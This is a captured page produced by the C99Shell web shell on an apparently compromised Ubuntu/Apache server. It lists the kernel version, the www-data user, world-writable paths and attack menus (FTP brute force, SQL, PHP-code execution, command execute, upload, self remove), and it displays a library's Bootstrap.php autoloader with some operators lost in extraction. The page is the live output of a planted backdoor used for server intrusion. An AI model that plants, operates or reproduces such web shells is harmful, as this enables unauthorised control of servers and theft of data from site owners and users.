!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/markbaker/complex/classes/   drwxrwxrwx
Free 13.39 GB of 57.97 GB (23.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Bootstrap.php (966 B)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include_once __DIR__ '/Autoloader.php';

\Complex\Autoloader::Register();


abstract class 
FilesystemRegexFilter extends RecursiveRegexIterator
{
    protected 
$regex;
    public function 
__construct(RecursiveIterator $it$regex)
    {
        
$this->regex $regex;
        
parent::__construct($it$regex);
    }
}

class 
FilenameFilter extends FilesystemRegexFilter
{
    
// Filter files against the regex
    
public function accept()
    {
        return (!
$this->isFile() || preg_match($this->regex$this->getFilename()));
    }
}


$srcFolder __DIR__ DIRECTORY_SEPARATOR 'src';
$srcDirectory = new RecursiveDirectoryIterator($srcFolder);

$filteredFileList = new FilenameFilter($srcDirectory'/(?:php)$/i');
$filteredFileList = new FilenameFilter($filteredFileList'/^(?!.*(Complex|Exception)\.php).*$/i');

foreach (new 
RecursiveIteratorIterator($filteredFileList) as $file) {
    if (
$file->isFile()) {
        include_once 
$file;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0186 ]--